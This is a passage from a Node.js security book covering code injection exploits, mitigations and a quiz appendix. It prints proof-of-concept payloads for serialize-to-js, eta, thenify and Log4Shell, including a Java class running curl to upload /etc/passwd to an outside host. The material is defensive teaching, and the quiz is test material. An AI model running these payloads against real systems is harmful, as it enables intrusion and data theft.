reached 241,297, making it a popular choice for developers looking to serialize and deserialize complex
JavaScript objects.

Version 1.0.0 of serialize-to-js was published on February 9th 2017 and it wasn’t even 24 hours
before the first security vulnerability was reported. The vulnerability was identified as CVE-2017-5954
and was given a CVSS critical severity rating of 9.8 out of 10. The vulnerability allowed attackers with
control over the serialized data to inject and execute arbitrary code.

Ajin Abraham, the security researcher who disclosed this vulnerability in the very first issue created on
the repository, provided the following proof-of-concept exploit code:

const serialize = require('serialize-to-js');


const payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process
\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout)
});}()"}';
serialize.deserialize(payload);

The payload makes use of the ND_FUNC function, which is a special function that is used internally by the
serialize-to-js package to deserialize functions and immediately invoked function expressions
(IIFEs) to trigger the execution of the injected code.

Looking at the vulnerable deserialize(str) function in the serialize-to-js package, we can see how
naive the implementation was and how attackers could have used far simpler payloads:

Chapter 6. Weaponizing Code Injection | 93


function deserialize (str) {
return (new Function('return ' + str))()
}

Another payload that was shared in the security report was as follows:

const serialize = require('serialize-to-js');


const payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
serialize.deserialize(payload);

This security report urged the maintainers to include a security disclaimer in the package’s README file,
warning users of the security risks associated with using the package. They also added sanitization logic
that strips new Function() and eval() calls from the serialized data to prevent code injection attacks.

In a follow-up security report that was disclosed less than a month later by security researcher Dor
Tumarkin, a Denial of Service security concern was raised. The proof-of-concept exploit code
demonstrated how an attacker could craft a serialized payload that would cause the serialize-to-js
package to enter an infinite loop during deserialization, consuming all available CPU resources and
causing a Denial of Service (DoS) condition on Node.js servers.

const serializeToJs = require('serialize-to-js')


const str = 'function(){while(true){}}()'
const res = serializeToJs.deserialize(str)

The maintainers addressed this vulnerability and all prior reported security issues by completely
removing the deserialize() function from the package. This effectively mitigated the security risks
associated with the package, but also rendered it unusable for its intended purpose of deserializing
complex JavaScript objects.

One would think that removing the deserialize() function would have ended the security
vulnerabilities associated with the serialize-to-js package, but this was not the case. In the last
series of security vulnerabilities reported for the package, CVE-2019-16772 raised the issue of Cross-site
Scripting.

If a serialized object contained poorly sanitized text, an attacker could inject malicious JavaScript code
that would be executed when the object was inserted into the DOM without proper output encoding.
One such instance was with regards to how serialize-to-js serialized RegExp objects, which could
be exploited due to how forward slashes were handled in the serialized data.

Following are example payloads that would demonstrate the Cross-site Scripting vulnerability:

94 | Chapter 6. Weaponizing Code Injection


const serialize = require("serialize-to-js");
let payload, serialized;
payload = /[</script><script>alert('xss')</script>//]/;
serialized = serialize.serialize(payload);
console.log(serialized);

If attackers could manipulate an application so that developers would mistakenly insert the value of the
serialized variable into HTML content without proper output encoding, this payload would be
executed as JavaScript code, leading to a Cross-site Scripting attack.

6.4. Exploiting Template Engines


Template engines are a common tool used in web development to generate dynamic HTML content by
combining static HTML templates with dynamic data. Template engines such as EJS, Pug, Handlebars,
and Nunjucks were made popular in the early days of Node.js and Express web applications due to a
server-rendering approach to generate HTML content and serve it as an HTTP response to clients.

The need for dynamic code evaluation in template engines arises from the requirement to render
dynamic data in the final HTML content. For example, a template engine may need to evaluate JavaScript
expressions, execute functions, or access properties of objects to render the final HTML content. As
such, template engines often rely on eval() or new Function() to evaluate dynamic code.

6.4.1. Case study: eta

The eta template engine package was first published in 2020 to be a better alternative to EJS and other
template engines that have been long-standing in the Node.js ecosystem. It promised to provide a
lightweight and fast template engine from the creators of SquirrellyJS, another popular template engine
that started in 2017.

Since its inception, eta has gained popularity with 14,038,601 downloads and a weekly download rate of
518,642, demonstrating healthy project metrics with active maintenance and a low open issues and
open pull requests count.

Chapter 6. Weaponizing Code Injection | 95


Figure 15. The eta npm package popularity ranking

Major versions for eta include the latest 3.x branch, but its most downloaded version by a large margin
is the 2.x branch. Luckily, all publicly known security vulnerabilities reported for eta have been
addressed in the 2.x branch, and the maintainers have proactively addressed security concerns.

On June 29, 2022, the first security vulnerability was reported for the eta package, identified as CVE-
2022-25967 and given a CVSS critical severity rating of 8.8. The vulnerability allowed attackers to inject
and execute arbitrary code in the application context.

To demonstrate the exploitation of a template engine library in practice, we will build on a simple
Express application that utilizes eta as the template engine. The project’s directory structure is as
follows:

.
├── package.json
├── server.js
├── views
│ ├── index.eta

The index.eta file contains the following template code:

views/index.eta

<h1>
Hello <%= it.name %>
</h1>

96 | Chapter 6. Weaponizing Code Injection


And finally, the server.js file contains the following code:

server.js

const express = require("express");


const { renderFile } = require("eta");

const app = express();


app.use(express.json());
app.engine("eta", renderFile);
app.set("view engine", "eta");

app.set("views", "./views");

// An index endpoint with a simple query parameter


app.get("/", function (req, res) {
const name = req.query.name;
res.render("index.eta", { name });
});

app.listen(8082, function () {
console.log("Started: http://localhost:8082");
});

Start the Express server by running node server.js and send an HTTP request to the / endpoint with
a query parameter name to see the rendered template. The server’s response will render the index.eta
template with the provided name query parameter:

$ curl "http://localhost:8082?name=John%20Connor"
<h1>
Hello John Connor</h1>%

Let’s add another template file views/user.eta, which will be used in a POST route to perform
application logic and then render the user’s data in the template:

user.eta

<p>
Congratulations, {{name}}!
You have successfully submitted the following data:
</p>

<ul>
<li>

Chapter 6. Weaponizing Code Injection | 97


Email: {{email}}
</li>
<li>
Phone: {{phone}}
</li>
</ul>

The POST route definition in the server.js file will look as follows:

server.js

app.post("/user/profile", function (req, res) {


const userData = req.body;

// Perform business logic with the userData


// 1. sanitize the data in userData and then
// 2. save to database
// 3. emit an event to a message broker
// 4. etc...

// Finally, render a success page


res.render("index.eta", userData);
});

However, we will send a specially crafted userData object in the POST request to the /user/update
endpoint this time. To simplify the curl command, we will pass the JSON payload as a file:

payload.json

{
"settings": {
"view options": {
"varName":
"x=process.mainModule.require('child_process').execSync('touch /tmp/hasta-la-
vista.txt')",
"include": false,
"includeFile": false,
"useWith": true
}
}
}

Next, we send a POST request to the /user/update endpoint:

98 | Chapter 6. Weaponizing Code Injection


curl -X POST http://localhost:8082/user/update -H "Content-Type:
application/json" -d @payload.json -v

You’ll find that the touch /tmp/hasta-la-vista.txt command was executed, creating a new file in
the /tmp directory, despite eta throwing an error for ReferenceError: it is not defined .

The primary contributing factor to this security vulnerability is insecure defaults, which puts its trust in
the data that developers pass to the template that gets rendered. However, often, such as in the exploit
demonstration above, the data passed to the template is not sanitized or validated. Furthermore,
developers could argue that they might not be aware of the specific circumstances of passing a
settings configuration directive to the template, ultimately introducing a security vulnerability that
leads to a code injection.

The maintainers of the eta package addressed this security vulnerability by removing the settings
configuration directive from the template engine renderer and published a major version update to the
package: [email protected].

6.5. Worker Threads Are Not a Security Sandbox


Worker threads are a feature in Node.js that allows developers to run JavaScript code in parallel in
separate threads. Worker threads provide a way to execute code in a separate thread, isolated from the
main application thread.

However, can worker threads be a security control to mitigate code injection vulnerabilities in Node.js
applications? Let’s evaluate.

Consider the following Node.js code snippet that relies on a Worker thread to execute untrusted
JavaScript code in a separate thread using the eval function:

Chapter 6. Weaponizing Code Injection | 99


./worker.js

const {
Worker, isMainThread, parentPort, workerData,
} = require('node:worker_threads');

if (isMainThread) {
module.exports = function executeCode(userJSCode) {
return new Promise((resolve, reject) => {
const worker = new Worker(__filename, {
workerData: userJSCode,
});
worker.on('message', resolve);
worker.on('error', reject);
});
};
} else {
const codeToExecuteFromUser = workerData;
parentPort.postMessage(eval(codeToExecuteFromUser));
}

The above code exports an executeCode function from the worker.js file which is used to create a
new Worker thread that uses the eval function to execute untrusted JavaScript code passed as the
workerData parameter.

The app.js file uses the seemingly secure sandbox provided by executeCode function to execute user
input:

./app.js

const executeCode = require("./worker.js");

async function init() {


await executeCode("console.log(process.env)");
}

init();

The Node.js application is executed with environment variables that contain sensitive information, such
as API keys or database credentials, as follows:

$ MY_API_KEY=1234 node app.js

The program executes the console.log(process.env) code supplied by the user input in the Worker

100 | Chapter 6. Weaponizing Code Injection


thread, which shares the environment with the parent process, and results in sensitive information
leaked to user code.

We can improve this sandbox by utilizing some of the options passed to the Worker constructor:

• env - An object containing the environment variables that should be visible to the worker thread. We
can pass an empty object to prevent the worker thread from accessing the environment variables of
the parent process.

• resourceLimits - An object containing resource limits that should be applied to the worker thread.
We can force main heap size limits to prevent the worker thread from consuming too much memory.
Still, these limits are constrained to the worker’s memory usage and do not prevent the code
executed by the worker from allocating memory as it pleases.

Even though these specific resource constraints exist, they are not a security sandbox, as Worker
threads still make room for the following security risks:

• No native support for controlling CPU usage or execution time limits. You should implement these
controls manually, and add other mechanisms such as worker thread pooling, all in an effort to limit
the impact of a potential Denial of Service (DoS) attack.

• No native support for controlling memory consumption for code executed in the worker thread
would translate to a potential memory exhaustion attack.

• No native support for disallowing access to Node.js core modules or built-in objects means that
untrusted code executed in the worker thread can still access and modify the global object, use
require to load modules and access sensitive APIs such as child_process, fs, and net.

In conclusion, while worker threads provide a way to execute code that offloads CPU-intensive tasks to
run in a separate thread, the Node.js main event loop, they are not a security sandbox and should not be
used as a security control to mitigate code injection vulnerabilities in Node.js applications.

Chapter 6. Weaponizing Code Injection | 101


Chapter 7

Mitigating Code Injection

In this chapter, we learn how to assess and employ secure coding best practices to mitigate code
injection vulnerabilities in Node.js applications. To provide real-world impact and context, we also
examine notable security vulnerabilities that have resulted from code injection attacks in different
software ecosystems. These security incidents underscore the importance of secure coding practices
and the need for secure code reviews to prevent code injection vulnerabilities.

Code injection is one of the most severe security vulnerabilities; this chapter primarily focuses on
insecure practices that JavaScript developers should avoid in their applications more than anything else.
In this sense, allowing attackers to execute untrusted code input in the application context is a risk-
weighing tradeoff that teams should practice with caution and a threat model in mind.

Learnings

By the end of this chapter, you will be skilled at recognizing code patterns that introduce code
injection vulnerabilities in Node.js applications. You will also be able to perform secure code reviews
to identify and mitigate code injection vulnerabilities in your applications and to responsibly weigh
the risks of executing untrusted code in your application context.

By the end of this chapter, you will be able to answer the following questions:

• What real-world security incidents stem from code injection vulnerabilities in Node.js and other
language ecosystems?

• What are some security concepts and activities that help security and development teams better
assess the risks and controls to apply to mitigate code injection vulnerabilities in Node.js
applications?

• What are strict guidelines to avoid in Node.js applications to mitigate code injection
vulnerabilities?

102 | Chapter 7. Mitigating Code Injection


7.1. The Impact of Code Injection Vulnerabilities
Code injection vulnerabilities often receive significant attention due to their potential to cause severe
damage to applications and systems. These vulnerabilities allow attackers to inject malicious code into
an application, leading to unauthorized access, data breaches, and system compromise.

In server-side JavaScript applications, code injection vulnerabilities allow attackers to execute arbitrary
JavaScript code on the server. This can result in various leveraged attacks that alter the application’s
behavior and extend to the underlying system.

Due to the severity of code injection, these vulnerability reports are often rated as high or critical, on par
with the impact of code injection vulnerabilities, affecting the confidentiality, integrity, and availability of
an application and its underlying systems.

7.1.1. Notable Code Injection Vulnerabilities in the Wild

Code injection vulnerabilities have a history of causing significant real-world security incidents with far-
reaching consequences. Let’s examine some security incidents to understand the potential risks and
their impact better.

Reference 1: CVE-2021-44832 - Log4j Remote Code Execution Vulnerability


Severity: Critical

The Apache Log4j vulnerability, or Log4Shell, is one of the most notable code injection vulnerabilities in
recent years. This vulnerability allowed remote attackers to execute arbitrary code on affected systems
by injecting malicious code into the application’s logging functionality. This severe vulnerability affected
many applications and systems that relied on the Log4j library for logging.

Affected versions of the org.apache.logging.log4j:log4j-core logging library for Java exposed a


JNDI-based remote code execution vulnerability. Attackers could exploit this vulnerability by injecting
malicious JNDI URLs into log messages, leading to remote code execution on the targeted system.

Following is a reference proof-of-concept payload that demonstrates the exploitation of this


vulnerability. Given a malicious string that a vulnerable Java application will use to log, such as
${jndi:ldap://someurl/Evil}, the Log4j framework will attempt to resolve the JNDI URL and parse
the returned object, leading to remote code execution:

Chapter 7. Mitigating Code Injection | 103


public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name,
Context nameCtx, Hashtable<?, ?> environment)
throws Exception {
Runtime.getRuntime()
.exec("curl -F 'file=@/etc/passwd' https://someurl/upload");
return null;
}
}

Reference 2: CVE-2022-22954 - VMware Workspace ONE Access and Identity Manager Remote Code
Execution Vulnerability
Severity: Critical

In 2022, VMware Workspace ONE Access and Identity Manager was found vulnerable to a critical code
injection vulnerability. This vulnerability allowed unauthenticated, remote attackers to execute arbitrary
code on affected systems by leveraging another vulnerability - a Server-side Template Injection (SSTI).

This vulnerability is recognized by CISA as a routinely exploited vulnerability, with a CVSS score of 9.8,
and includes a known Metasploit module for exploitation. The impact of this vulnerability was severe,
allowing attackers to execute arbitrary code on affected systems, leading to unauthorized access, data
breaches, and system compromise.

7.1.2. Notable Code Injection Vulnerabilities in Node.js

Reference 1: CVE-2020-7677 - thenify npm Package Code Injection Vulnerability


Severity: High

The thenify npm package, downloaded more than 10 million times a week, was found vulnerable to a
code injection vulnerability that allowed attackers to execute arbitrary code. The vulnerability was due to
the package’s use of the eval function to execute user-supplied code, leading to code injection attacks.

Consider the following code snippet from the thenify package that demonstrates the attack vector:

104 | Chapter 7. Mitigating Code Injection


var a = require("thenify");
var attack_code = `fs=require('fs');
fs.writeFile('Song', 'test',function(){})`;

function cur(){};
Object.defineProperty(cur, "name",
{ value: "fake() {" + attack_code + ";})();(function(){//"});

a(cur);

The vulnerability was fixed in version 3.3.1, introducing the following changes that replaced an eval call
with a Function constructor and added validation to prevent code injection attacks.

Reference 2: CVE-2017-5954 - serialize-to-js npm Package Code Injection Vulnerability


Severity: Critical

The serialize-to-js npm package, downloaded at a rate of 100,000 times a week, was found
vulnerable to a code injection vulnerability that allowed attackers to execute arbitrary code.

If attackers control the input to the deserialize function, they can inject arbitrary JavaScript code that
gets executed when developers call the deserialize . The following code snippet demonstrates the
attack vector with an immediately invoked function expression (IIFE) that loads the child_process
Node.js module to execute the command: ls / .

var serialize = require('serialize-to-js');


var payload = `{"rce":"_$$ND_FUNC$$_function (){
require(\'child_process\')
.exec(\'ls /\',
function(error, stdout, stderr) {
console.log(stdout) });}()"
}`;

serialize.deserialize(payload);

7.2. Mitigating Code Injection Vulnerabilities


In this section, we learn about security concepts that are helpful as security controls to mitigate code
injection vulnerabilities in Node.js applications. We also provide a concise code injection security best
practices do-s and don’t-s that JavaScript developers should follow to prevent code injection
vulnerabilities in their Node.js and server-side JavaScript applications.

Chapter 7. Mitigating Code Injection | 105


7.2.1. Security Controls

Two critical security concepts essential in mitigating code injection vulnerabilities are Defense in Depth
and Threat Modeling. These vastly different concepts provide a layered security control and a structured
approach to understanding and addressing security risks in Node.js applications.

Defense in Depth
The principle of defense in depth is a widely adopted approach that advocates for implementing
multiple layers of security controls. This strategy acknowledges that no single security measure is
impenetrable, and thus, it aims to mitigate risks by combining various complementary security
mechanisms. In the context of code injection vulnerabilities in Node.js, it involves implementing
multiple layers of security, such as a robust input validation mechanism, an isolated security
sandbox, a dedicated runtime environment, or a non-privileged and contained execution context. The
defense in depth approach recognizes that a single line of defense, such as input sanitization or
merely using a third-party sandbox npm package alone, may not be sufficient to protect against all
potential code injection attacks. Instead, it recommends implementing multiple security controls at
different application layers.

Threat Modeling Exercise


Threat modeling is a structured approach to identifying, analyzing, and mitigating potential security
threats to a system or application. In business use cases that require a Node.js application to execute
untrusted code from user input, a threat modeling exercise can help developers understand the risks
and potential impact of executing untrusted code within their application context.

7.2.2. Code Injection Security Best Practices

1. Avoid concatenating or constructing code from user input that flows into the following sensitive sink
APIs:

a. The eval() function

b. The Function() constructor

2. Avoid passing dynamic user input to load modules or file system assets using module APIs import()
and require() . Instead, practice a closed allow-list approach of files or file path conventions to
restrict code execution to a predefined set of functions or modules.

3. When using template engines:

a. Always ensure that auto-escaping and built-in security controls provided by the template engine
are enabled to prevent code injection vulnerabilities.

b. Keep up with the latest security updates and patches for the template engine third-party
package to mitigate against known vulnerabilities.

106 | Chapter 7. Mitigating Code Injection


4. Avoid serialization and deserialization of code that originates or is constructed from untrusted data.
Specifically:

a. Deserialization logic that parses and executes code from untrusted data can result in code
execution vulnerabilities.

b. Serialization logic that serializes untrusted data into a format or structure that is later injected
into the application context, such as inserted into the DOM in a client-side application, can lead
to code execution vulnerabilities in the context of a browser environment and result in Cross-Site
Scripting vulnerabilities.

5. Avoid building dynamic code and function utilities that later rely on eval() or Function() to
execute the code. This practice can lead to code injection vulnerabilities.

6. Do not rely on sanitization techniques to prevent code injection vulnerabilities. For example,
matching and sanitizing text matches of proto from user input. Sanitization is not an effective
security control in preventing code injection vulnerabilities.

7. Do not rely on a deny-list in the form of a regular expression or otherwise to filter out dangerous
code patterns from user input. This approach is error-prone and can lead to bypasses.

8. Avoid an in-house development of a sandbox environment to execute untrusted code in Node.js


applications. For example, using the built-in Node.js vm module and building your own sanitized
context to execute untrusted code in a seemingly isolated environment can lead to code injection
vulnerabilities. Similarly, relying on eval() with untrusted user input while building your own logic
to sanitize user input and allow access to only specific functions or modules often leads to code
injection vulnerabilities.

9. Avoid relying on third-party modules that promise a secure, isolated sandbox environment for
running untrusted code. So-called "safe" versions or alternatives to dangerous APIs and sandbox
environments, such as third-party modules like vm2 and safe-eval were proved to be vulnerable to
code injection vulnerabilities and did not withstand the test of time.

10. Validating JavaScript syntax using the Function() constructor without executing the code is a false
misconception. Untrusted code passed to Function() can lead to availability risks in the form of a
denial of service. If you must use the Function() constructor, ensure you have appropriate security
controls to prevent such risks as code size limitations.

11. If business requirements dictate executing untrusted code:

a. Always practice defense in depth by implementing multiple layers of security controls, such as
input validation, rate limiting, and code size limitations.

b. Always ensure you have undergone a threat modeling exercise to understand the risks and
potential impact of executing untrusted code in your application context.

Chapter 7. Mitigating Code Injection | 107


12. Isomorphic JavaScript is often a factor for modern JavaScript frameworks, which allows code to be
executed on both the client and server. Usually, whether a component’s code is rendered in the
client or server is based on the framework’s preference, and the developer is not involved in making
this decision. This practice can lead to significant code injection vulnerabilities because what was
previously thought to be a client-side code execution scope can now be executed on the server side,
translating to a considerably more significant negative impact.

7.2.3. Security Sandbox Environments

In prior chapters, we reviewed several options for a secured JavaScript sandbox to run untrusted code,
and time after time, we demonstrated how attackers bypass said sandbox environments. We ultimately
proved vulnerable to code injection attacks despite their promise.

These security sandbox options included third-party libraries on the npm registry, such as safe-eval or
vm2, as well as built-in Node.js modules such as vm, which officially is not designated to be used as a
secure sandbox but is often mistaken by developers for one.

The isolated-vm Package

The latest update on the vm2 package recommends users migrate to the isolated-vm package for a more
secure sandbox environment. Until now, there were two known vulnerabilities reported for the
isolated-vm package:

• Remote Code Execution: CVE-2022-39266 reported and fixed in September 2022, affecting all
versions before the 4.3.7 release

• Privilege Escalation: CVE-2021-21413 reported and fixed in April 2021, affecting all versions before
the major 4.0.0 release.

Is isolated-vm a bulletproof solution for running untrusted code in a secure sandbox environment?
We have yet to determine and can’t be sure until a new vulnerability is disclosed. Suppose you choose to
use isolated-vm in your Node.js application or any other third-party package for a secure sandbox
environment; you should closely monitor the package’s security updates and repository activity to
ensure you can quickly respond to any potential vulnerabilities.

The Endo Project and SES Package

Another hardened JavaScript sandboxing option is Endo - a project that provides a distributed JavaScript
environment that is based on the SES package by Agoric. At the time of writing, the Endo project is in
active development. It hosts a public mailing list, a security bug bounty program, and tens of previously
recorded weekly conference calls by the project maintainers and its user community.

108 | Chapter 7. Mitigating Code Injection


Endo is also the tool of choice for the LavaMoat project, a security tool that provides a fine-grained
sandboxing environment for JavaScript applications. MetaMask actively develops and maintains the
LavaMoat project.

Worker Threads and Child Processes

Some developers may view Worker threads as more efficient alternatives to executing system processes
using the child_process module. However, it is essential to note that Worker threads are not designed
to be secure sandbox environments for running untrusted code and do not have any inherent security
controls.

Worker threads are designed to run JavaScript code in parallel. They share the same memory space as
the parent thread and do not provide isolation or security boundaries for executing untrusted code.

Depending on the use case and threat model, Worker threads may be suitable for running dynamic code
in a Node.js application. Still, they should not be used as a secure sandbox environment for executing
untrusted code.

Chapter 7. Mitigating Code Injection | 109


Chapter 8. Appendix

8.1. Test Your Knowledge


In this section, you can check your understanding of the concepts and best practices presented in the
book through multiple-choice questions, fill-the-blank stories, and yes-no questions. Answer them to the
best of your ability, and check your answers at the end of the section.

TIP

If you are using this book to train others, it is highly recommended that you use these sets of
questions to test your audience’s understanding of the concepts presented in the book and how
well they have internalized the material.

I recommend that you use questions presented in this chapter to assess their skill-set before and
after training. This will help you identify areas of improvement and better understand the
effectiveness of the expertise gained by reading and practicing the exercises in this book.

Select the correct answer (some questions may have multiple correct answers), fill in the blanks, and
answer to the best of your knowledge the following questions:

1. What describes a code injection vulnerability best?

a. A vulnerability that allows an attacker to execute arbitrary code in the context of a vulnerable
Node.js application

b. A vulnerability that allows an attacker to read arbitrary files on a Node.js server

c. A vulnerability that allows an attacker to execute arbitrary commands on a Node.js server

d. A vulnerability that allows an attacker to bypass prepared statements in a Node.js application

2. What is a secure alternative to using eval() for dynamic code execution?

a. String concatenation

b. Template literals with proper escaping

c. Regular expressions for advanced pattern matching

d. None of the above

110 | Chapter 8. Appendix


3. What are common code injection sinks?

a. eval()

b. require()

c. import()

d. Function()

e. All of the above

4. What are the best practices to prevent code injection vulnerabilities in Node.js?

a. Avoid using eval(), Function(), require(), and import() with user-controlled input

b. Use prepared statements for database queries

c. Use a secure templating engine that automatically escapes user input

d. All of the above

5. What is the danger of using new Function() in Node.js?

a. It can execute arbitrary code in the global scope

b. It can execute arbitrary code but is bound to the current function scope

c. It can execute arbitrary code but is bound to a sandboxed environment

d. It can execute arbitrary code but is bound to the current module scope

6. If you need to execute dynamic code in Node.js, what is the best way to do it securely?

a. Use eval() and Function() with proper input validation

b. Use the vm module to create an isolated sandboxed environment for code execution

c. Use require() and import() with proper input validation to load dynamic module code

d. None of the above

7. Which of the following Node.js modules is commonly associated with code injection
vulnerabilities?

a. fs` (File System)

b. http (HTTP Server)

c. vm (Virtual Machine)

d. child_process (Child Process)

8. What is a potential consequence of a successful code injection attack in a Node.js application?

a. Arbitrary code execution on a running Node.js server

b. Disclosure of sensitive data

c. Denial of Service (DoS) attacks

d. All of the above

Chapter 8. Appendix | 111


9. Fill the blanks in the following paragraph (multiple words may apply):

Code injection vulnerabilities occur when ____________ is joined with


____________ and then ____________.

10. Do sanitization, deny-lists and filtering make an effective security control against code
injection vulnerabilities?

a. Yes

b. No

11. Which of the following are types of vulnerabilities associated with code injection?

a. Arbitrary code execution

b. Arbitrary code injection

c. Command injection

d. All of the above

12. Using eval() and Function() in JavaScript frontend components has minimal security
implications because the code is not executed on the server.

a. True

b. False

13. ECMAScript 6 introduced the Proxy object which is an effective way to create a secure
sandboxed environment in JavaScript for dynamic code execution from user input.

a. True

b. False

14. Given the following Node.js code that uses eval together with a security control to limit the
the scope of attack with JavaScript’s 'use strict' directive:

function extractCellValue(value) {
if (value.startsWith('=')) {
return eval(`'use strict'; ${value.substring(1)}`);
}
}

a. Is the above code vulnerable to code injection? If so, why?

b. If the above is vulnerable, what security controls can you apply?

112 | Chapter 8. Appendix


15. Given the following Node.js code that uses dynamically evaluates a custom function together
with a security control to limit user input to a specific Math object scope:

if (formula.startsWith("=Math.")) {
const mathFunctionCall = formula.slice(`=Math.`.length);
const cellMathResult = new Function(
`return Math.${mathFunctionCall}`
)();
return cellMathResult;
}

a. Is the above code vulnerable to code injection? If so, why?

b. If the above is vulnerable, what security controls can you apply?

16. Given the following Node.js code that dynamically evaluates a custom function, choose all the
security controls you would apply to prevent code injection vulnerabilities:

if (formula.startsWith("=Math.")) {
const mathFunctionCall = formula.slice(`=Math.`.length);
const cellMathResult = new Function(
`return Math.${mathFunctionCall}`
)();
return cellMathResult;
}

a. Limit the user input to a specific Math object scope

b. Limit the user input to a subset of allowed and pre-defined Math functions (such as Math.abs,
Math.min, etc.)

c. Sanitize all user input to disallow occurrences of eval, Function, require, and import

d. Sanitize all user input that contains the ; character to prevent new code execution

e. Sanitize or deny user input that contains an ending () characters to prevent IIFE

f. Validate that the last character of the user input is a ) character to limit the scope to a single
Math function call

g. None of the above

17. Sandboxed JavaScript environments like safe-eval and vm2 prove to be a secure isolated
execution context for untrusted JavaScript code

a. True

b. False

Chapter 8. Appendix | 113


18. The following are CWEs associated with code injection vulnerabilities:

a. CWE-94: Code Injection

b. CWE-95: Eval Injection

c. CWE-96: Command Injection

d. CWE-97: SQL Injection

19. The following are typical use-case scenarios where code injection vulnerabilities can occur in
Node.js applications:

a. Code bundling and transpilation

b. Template engines

c. Parsers

d. Sandbox environments

e. Serialization and deserialization

f. All of the above

20. Given the following Node.js core:

format = format.replace(/"/g, '\\"');


var js = ' return "' + format.replace(/%(>?\w|{[\w-]+}i)/g,
function(_, name) {
return '"\n + (tokens["' + name +
'"].call(this, req, res) || "-") + "';
}) + '";';
return new Function('tokens, req, res', js).bind(context);

a. Can you estimate the purpose of the code?

b. Is the above code vulnerable to code injection? If so, can you explain how?

21. The following Node.js code uses dynamic code evaluation as part of a more elaborate logic
but limits the scope of code execution to a specific Math object scope. Is it vulnerable?

eval(`'use strict'; Math.pow(${base}, ${exponent})`);

a. True

b. False

114 | Chapter 8. Appendix


22. The following Node.js code prepares a dynamic function call, but adds a security control to
prevent code injection vulnerabilities:

if ((/__proto__|constructor|prototype|eval/).test(a))
throw new Error('Potential vulnerability');

var fn = new Function('w', 'a', 'b', a);


F.temporary.other[cachekey] = fn;
fn(obj, value, path);

a. The above code is vulnerable to code injection because the variable a is not sanitized

b. The above code is not vulnerable to code injection because the variable a prevents against
common code injection vectors

c. The above code is vulnerable to code injection because generic JavaScript code can be executed

d. The above code is not vulnerable to code injection because the dynamic function call is limited to
a specific scope

23. The following JavaScript language accessors, functions and object properties are a common
source of code injection vulnerabilities:

a. eval

b. proto

c. constructor

d. prototype

e. All of the above

24. Spawning a child process to run a untrusted code in a new dedicated Node.js process is a good
mitigation against code injection vulnerabilities.

a. Yes

b. No

c. It depends on the threat model

25. Maintaining a deny-list along with regular expressions used to apply sanitization logic (for
example, escaping single and double quotes) is an effective control against code injection
vulnerabilities.

a. True

b. False

Chapter 8. Appendix | 115


26. It is more secure to pass user input to new Function() to parse and validate JavaScript code
syntax than to use eval().

a. True

b. False

27. The following JavaScript code is safe to run in a Node.js server because new Function() ,
unlike eval() doesn’t dynamically execute code, so it will throw an error if the JavaScript
syntax is invalid:

function createSecureContextRounds(izVectorRound, factorRounds) {


if (izVectorRound === factorRounds) {
return "1";
}
return `(function() { return ${createNestedString(izVectorRound + 1,
factorRounds)}; })`;
}

const factorRounds = 500


const initVectorRound = 0
const userProvidedSecureContext = createSecureContextRounds
(initVectorRound, factorRounds);

try {
const func = new Function(largeInput);
// Executing func() here could cause excessive memory consumption due to
the large input string
} catch (err) {
console.error("Error creating function:", err);
}

a. True

b. False

28. Timers in the Node.js runtime are a source of code injection vulnerability because they accept
template literals and can be used to execute arbitrary code.

a. True

b. False

29. Passing function strings in the Node.js API new Function(functionStr) is a source of code
injection vulnerability because it can execute arbitrary code.

a. True

b. False

116 | Chapter 8. Appendix


30. Given the following API route endpoint of an application code that provides a SaaS for durable
function execution and background scheduling business:

app.post('/tasks/schedules', async (request, reply) => {


const taskLogic = request.body.taskLogic;
const schedule = request.body.schedule;

try {
const taskFunction = new Function(taskLogic);
const timerId = setInterval(taskFunction, schedule);
scheduledTasks.push({ timerId, taskLogic });
reply.send('Task scheduled successfully');
} catch (err) {
console.error('Error scheduling task:', err);
reply.code(500).send('Error scheduling task');
}
});

a. Is the above code vulnerable to code injection? If so, why?

b. Discuss the potential security implications of the above code and brainstorm potential security
controls to prevent code injection vulnerabilities.

31. Consider the following application which enables localization of a dashboard view using a
custom i18n module and EJS templating engine:

const I18N_DIR = path.join(__dirname, 'i18n');


app.register(require('@fastify/view'), {
engine: {
ejs: ejs,
},
});

app.get('/dashboard', async (request, reply) => {


const language = request.query.lang;
const languageFilePath = path.resolve(
I18N_DIR, `${language}.json`
);

if (validateFilePath(filePath)) {
const languageData = require(languageFilePath);

reply.view('/templates/dashboard.ejs', {
totalCustomers: languageData['total_customers'],
});

Chapter 8. Appendix | 117


}
});

function validateFilePath(filePath) {
const filenameExtension = /\.json$/;
if (!filenameExtension.test(filePath)) {
return false
}

return true;
}

a. What are the security controls in the above application code?

b. Is the above code vulnerable to code injection?

c. What security controls can you apply to prevent code injection vulnerabilities in the above code?

32. Using import is considerably more secure than using require with template literals because
import requires an absolute file path specifier using the file:// protocol, such as
import('file:///path/to/module.js').

a. True

b. False

33. The following statements are true about security implications relating to ECMAScript and
CommonJS modules:

a. ECMAScript modules are more secure than CommonJS modules because they are executed in a
sandboxed environment

b. Arbitrary code execution is possible with ECMAScript modules due to support of data URIs

c. ECMAScript modules are vulnerable to arbitrary code execution when using import with
untrusted URLs

d. CommonJS modules are more secure than ECMAScript modules because they sandbox access to
freezed require, module, and exports objects

34. ECMAScript modules can be exploited to execute arbitrary code in a Node.js application using
Data URIs such as import('data:text/javascript,console.log("Shall We Play A
Game?")').

a. True

b. False

35. ECMAScript modules support URLs with special characters when using import such as const
add = await import("%2e%2e/utils/utils.mjs") .

a. True

b. False

118 | Chapter 8. Appendix


36. The following statements are true about security implications related to ECMAScript modules
using import :

a. ECMAScript modules support unicode characters in URLs such as


import('./module\u{0061}\u{030A}.mjs')

b. ECMAScript modules support data URIs in URLs such as


import('data:text/javascript,console.log("Shall We Play A Game?")')

c. ECMAScript modules support arbitrary code execution when passed valid JavaScript code such as
await import(
"module%0aconst%20fs%20%3d%20require%28%22fs%22%29%3b%0afs.writeFileSync%28
%22/tmp/hacked.txt%22%2c%20%22Hacked%22%29%3b" );

